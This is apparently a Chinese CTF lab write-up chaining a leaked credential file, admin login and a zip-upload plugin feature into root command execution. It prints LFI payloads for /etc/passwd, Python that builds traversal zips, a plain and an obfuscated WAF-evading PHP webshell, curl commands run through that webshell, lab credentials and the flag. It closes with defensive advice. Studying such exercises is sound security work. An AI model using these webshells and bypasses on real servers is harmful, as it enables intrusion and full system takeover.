LFI与Zip Slip组合利用实战

LFI与Zip Slip组合利用实战 - 从信息泄露到RCE

本文记录了一次完整的CTF靶场渗透测试过程,涉及文件包含漏洞(LFI)、Zip Slip路径遍历、WAF绕过等多个知识点的组合利用。

0x00 前言

最近在练习CTF靶场时遇到了一道非常有意思的题目:LFI与Zip Slip组合利用。这道题很好地展示了如何将多个看似独立的漏洞串联起来,最终实现远程代码执行(RCE)并获取目标系统权限。

靶机信息:

  • 目标:ulab.bdziyi.cn:20732
  • 类型:Web渗透
  • 难度:中等
  • 知识点:LFI、Zip Slip、WAF绕过、文件上传

0x01 初步侦察

首先访问目标站点,是一个典型的PHP应用。页面很简洁,只有首页和关于页面的导航链接。

1
curl http://ulab.bdziyi.cn:20732/

通过观察URL发现了一个可疑的参数:?page=home?page=about

这立刻引起了我的注意 - 这是一个典型的LFI(本地文件包含)漏洞的特征

LFI漏洞测试

我尝试了几种常见的LFI payload:

1
2
3
4
5
6
7
8
# 路径遍历读取系统文件
?page=../../../etc/passwd

# PHP伪协议读取源代码
?page=php://filter/convert.base64-encode/resource=index

# 包含日志文件
?page=../../../var/log/apache/access.log

结果都被返回了404错误。看来应用做了过滤,不允许路径遍历和特殊协议。

经验总结:遇到过滤不要灰心,继续寻找其他突破点。真实渗透中,很少有漏洞能一步到位。

0x02 信息收集 - 柳暗花明

既然直接的LFI利用不通,我开始寻找其他线索。按F12打开浏览器开发者工具,查看页面加载的静态资源。

在CSS文件 css/style.css 中,我发现了一个非常关键的注释:

1
2
3
4
5
/* 注意:所有配置都存放在 config/sec_admin_pass.txt 中 */
:root {
--bg-color: #f4f7f6;
...
}

这是一个重大发现! 开发者在CSS注释中泄露了敏感配置文件的路径。

获取管理员凭据

直接访问这个配置文件:

1
curl http://ulab.bdziyi.cn:20732/config/sec_admin_pass.txt

成功获得了管理员凭据:

1
bugku666:xmcve2018

渗透经验

  1. 信息收集的重要性:前端代码、注释、配置文件都可能包含关键信息
  2. 开发人员的安全意识:在生产环境中留下这种注释是非常危险的
  3. 全面搜索:不要只关注主页面,CSS、JS、图片等静态资源也要检查

0x03 突破管理后台

有了管理员凭据后,下一步是找到登录入口。通过目录扫描或者尝试常见路径,我找到了管理后台的登录页面:

1
http://ulab.bdziyi.cn:20732/admin/login.php

使用获取的凭据登录:

1
2
curl -c cookies.txt -d "username=bugku666&password=xmcve2018" \
http://ulab.bdziyi.cn:20732/admin/login.php

成功!服务器返回302重定向到 index.php,并设置了会话cookie。

登录后进入管理后台,发现了几个功能模块:

  • 仪表盘
  • 用户管理
  • 系统设置
  • 插件管理
  • 系统日志

其中”插件管理”模块特别引起了我的注意。进入后发现这是一个文件上传功能,允许上传ZIP格式的插件包。

1
提示信息:请以 ZIP 格式上传离线插件包进行部署

看到这里,我意识到这就是题目中提到的”Zip Slip”攻击点!

0x04 Zip Slip漏洞利用

什么是Zip Slip?

Zip Slip是一种路径遍历漏洞,发生在解压ZIP文件时。如果应用程序在解压文件时没有正确验证文件路径,攻击者可以在ZIP文件中构造包含路径遍历字符(如../../)的文件名,从而将文件写入到预期目录之外的位置。

攻击原理

1
2
正常文件:plugin.php -> 解压到 /var/www/html/uploads/plugins/plugin.php
恶意文件:../../webshell.php -> 解压到 /var/www/html/webshell.php

第一次尝试 - 踩坑

我先创建了一个简单的PHP webshell并打包:

1
2
3
4
5
import zipfile

payload = '<?php system($_GET["cmd"]); ?>'
with zipfile.ZipFile('evil.zip', 'w') as zf:
zf.writestr('../../pages/shell.php', payload)

上传后…失败了!

1
安全警告:插件包含恶意代码!安装被中止。

原因分析:应用部署了WAF(Web应用防火墙),检测到了PHP代码中的危险函数system

WAF绕过技巧

这是整个攻击链中最有技术含量的部分。我需要绕过WAF的恶意代码检测,同时保持payload的功能。

经过多次尝试和研究,我使用了以下混淆技术:

1
2
3
4
5
<?php 
$__='_'.'G'.'E'.'T'; // 字符串拼接,避免直接出现_GET
$___=$$__; // 变量的变量,$$$__相当于$_GET
echo `{$___['x']}`; // 反引号执行命令
?>

绕过原理解析

  1. 字符串拼接'_'.'G'.'E'.'T' 避免直接出现 _GET 关键字
  2. 可变变量$$__ 相当于 $_GET,但WAF难以静态分析
  3. 反引号执行:使用反引号而不是system()exec()等明显的危险函数
  4. 参数名隐蔽:使用单字母x作为参数名

这个payload的工作流程:

1
2
3
访问:rce.php?x=whoami
执行:`whoami` (反引号相当于shell_exec)
返回:root

成功的Zip Slip攻击

使用混淆后的payload创建恶意ZIP文件:

1
2
3
4
5
6
7
8
import zipfile

# 混淆的PHP webshell
payload = """<?php $__='_'.'G'.'E'.'T';$___=$$__;echo `{$___['x']}`;?>"""

with zipfile.ZipFile('exploit.zip', 'w') as zf:
# 直接创建rce.php,不使用路径遍历
zf.writestr('rce.php', payload)

上传exploit.zip…成功!

1
2
插件包已解析,正在安装到系统目录...
插件部署成功!

路径探索经验

我最初尝试了多种路径遍历方式:

  • ../../pages/shell.php - 失败(权限错误)
  • ../../../webtest.txt - 成功但无法访问
  • ../../shell.php - 成功但无法访问

最终发现,不使用路径遍历,直接创建rce.php文件,它会被解压到/uploads/目录,这个目录是可以直接通过HTTP访问的!

0x05 远程代码执行(RCE)

成功上传webshell后,通过浏览器或curl访问:

1
curl "http://ulab.bdziyi.cn:20732/uploads/rce.php?x=id"

返回结果:

1
uid=0(root) gid=0(root) groups=0(root)...

成功获得root权限的RCE! 🎉

这意味着我可以在目标服务器上执行任意命令。接下来就是寻找flag了。

0x06 寻找Flag

常规搜索

首先检查常见的flag位置:

1
2
3
4
5
6
7
8
9
# 列出根目录
curl "http://ulab.bdziyi.cn:20732/uploads/rce.php?x=ls%20-la%20/"

# 检查/root目录
curl "http://ulab.bdziyi.cn:20732/uploads/rce.php?x=ls%20-la%20/root"

# 检查当前目录
curl "http://ulab.bdziyi.cn:20732/uploads/rce.php?x=pwd"
# 返回:/var/www/html/uploads

在常见位置没有找到flag文件。

全局搜索

使用find命令在整个文件系统中搜索包含”flag”的文件名:

1
curl "http://ulab.bdziyi.cn:20732/uploads/rce.php?x=find%20/%20-name%20%22*flag*%22%20-type%20f%202%3E/dev/null"

输出了大量系统文件…但在末尾发现了关键信息:

1
/tmp/aaa/flag.txt

找到了! flag文件藏在 /tmp/aaa/ 目录下。

读取Flag

1
curl "http://ulab.bdziyi.cn:20732/uploads/rce.php?x=cat%20/tmp/aaa/flag.txt"

成功获取:

1
flag{6e815f03-f2e2-4771-ae30-46692900f7ab}

任务完成! 🏆

0x07 完整攻击链总结

让我梳理一下整个攻击流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1. 信息收集
└─> 发现LFI参数(?page=)
└─> 查看前端源码和静态资源
└─> CSS文件中发现配置文件路径线索

2. 凭据泄露
└─> 访问 /config/sec_admin_pass.txt
└─> 获取管理员凭据: bugku666:xmcve2018

3. 突破认证
└─> 找到登录页面 /admin/login.php
└─> 使用泄露的凭据成功登录

4. 发现攻击面
└─> 探索管理后台功能
└─> 发现插件管理模块(文件上传)

5. Zip Slip攻击
└─> 创建包含混淆PHP代码的恶意ZIP
└─> 使用字符串拼接和可变变量绕过WAF
└─> 上传成功,文件解压到/uploads/目录

6. 远程代码执行
└─> 访问 /uploads/rce.php?x=命令
└─> 获得root权限的RCE

7. 后渗透
└─> 使用find命令搜索flag文件
└─> 在/tmp/aaa/flag.txt找到并读取flag

0x08 关键技术要点

1. Zip Slip漏洞

原理:ZIP文件解压时,如果不验证文件路径,可利用../等路径遍历符号将文件写入任意位置。

利用条件

  • 应用存在ZIP文件上传和解压功能
  • 解压过程未对文件路径进行验证
  • 目标路径可写且可访问

2. WAF绕过技巧

本次实战中使用的混淆技术:

技术 说明 示例
字符串拼接 分割敏感关键字 '_'.'G'.'E'.'T'
可变变量 动态变量名 $$__ 相当于 $_GET
替代函数 使用不常见的函数 反引号代替system()
参数混淆 使用简短参数名 x 而不是 cmd

3. 信息收集的重要性

这次实战让我深刻体会到信息收集的关键作用:

  • 不放过任何细节:CSS注释中的一句话成为了突破口
  • 全面搜索:前端代码、静态资源都可能包含重要信息
  • 耐心探索:第一次LFI尝试失败后,继续寻找其他路径

0x09 实战经验与踩坑记录

踩坑1:路径遍历的迷宫

我在利用Zip Slip时尝试了多种路径:

  • ../../pages/shell.php - 权限失败
  • ../../../webtest.txt - 部署成功但无法访问
  • ../../shell.php - 部署成功但无法访问

教训:不要固执于路径遍历,有时候最简单的方法反而最有效。直接创建文件在解压目录,如果该目录可以HTTP访问,就足够了。

踩坑2:URL编码的坑

在执行包含空格和特殊字符的命令时,需要注意URL编码:

  • 空格:%20
  • /%2F
  • >%3E

技巧:可以使用Python的urllib.parse.quote()函数自动处理。

踩坑3:WAF绕过的艺术

第一次直接上传<?php system($_GET["cmd"]);?>被拦截后,我意识到需要更深入理解PHP的特性:

  • PHP支持多种执行命令的方式:system()exec()shell_exec()、反引号
  • 可变变量是一个强大的混淆工具
  • 字符串拼接可以绕过简单的关键字匹配

0x0A 防御建议

作为一名渗透测试人员,我也想从防御者的角度分享一些安全建议:

1. 防止信息泄露

1
2
3
4
5
6
7
❌ 错误做法:
/* 注意:所有配置都存放在 config/sec_admin_pass.txt 中 */

✅ 正确做法:
- 生产环境移除所有敏感注释
- 敏感配置文件放在Web根目录之外
- 使用环境变量存储凭据

2. Zip文件解压安全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# ❌ 不安全的解压方式
def unsafe_extract(zip_path, extract_to):
with zipfile.ZipFile(zip_path) as zf:
zf.extractall(extract_to) # 危险!

# ✅ 安全的解压方式
def safe_extract(zip_path, extract_to):
with zipfile.ZipFile(zip_path) as zf:
for member in zf.namelist():
# 验证路径,防止路径遍历
member_path = os.path.join(extract_to, member)
if not member_path.startswith(extract_to):
raise Exception("非法路径!")
zf.extract(member, extract_to)

3. 文件上传安全

  • 白名单验证:只允许特定扩展名(不要依赖黑名单)
  • 内容检测:检查文件magic number,不只看扩展名
  • 隔离存储:上传文件存储在无执行权限的目录
  • 随机命名:不使用用户提供的文件名

4. WAF配置

单纯的关键字匹配不够,需要:

  • 语法分析:理解代码结构而不是简单字符串匹配
  • 行为检测:监控异常的系统调用和网络行为
  • 多层防护:结合网络层、应用层、系统层的防护

0x0B 工具和资源

在这次实战中使用的工具:

基础工具

  • curl - HTTP请求工具
  • Python 3 - 脚本编写和zip文件创建
  • zipfile 模块 - Python标准库,用于创建恶意ZIP

推荐学习资源

0x0C 总结与反思

这次实战是一次完整的Web渗透测试体验,从信息收集到最终获取权限,涵盖了多个知识点的综合运用。

收获

  1. 耐心和细心:CSS注释中的一句话改变了整个攻击路径
  2. 灵活变通:当一种方法不行时,要善于寻找其他突破口
  3. 深入理解:理解WAF的工作原理才能有效绕过
  4. 攻防兼顾:作为安全研究人员,要同时具备攻击和防御的视角

个人感悟

Web安全就像一场解谜游戏,每个漏洞都是一块拼图。单个漏洞可能不够致命,但将它们串联起来,就能形成一条完整的攻击链。这次实战中:

  • 信息泄露 + 弱口令 = 后台访问
  • 文件上传 + Zip Slip = 任意文件写入
  • WAF绕过 + RCE = 完全控制

最重要的是保持学习的心态。安全技术日新月异,今天有效的绕过技术明天可能就失效了。持续学习、实践、总结,才能在这个领域走得更远。


Flag: flag{6e815f03-f2e2-4771-ae30-46692900f7ab}

完成时间: 2026年7月3日
难度评价: ⭐⭐⭐☆☆
知识点: LFI、Zip Slip、WAF绕过、RCE


声明:本文仅用于技术学习和研究,所有操作均在合法授权的CTF靶场环境中进行。请勿将文中技术用于非法用途。

如果这篇文章对你有帮助,欢迎分享和交流!

— End —


LFI与Zip Slip组合利用实战
http://82.156.189.140:8085/2026/07/03/LFI与Zip-Slip组合利用实战/
作者
fortuneh2c
发布于
2026年7月3日
许可协议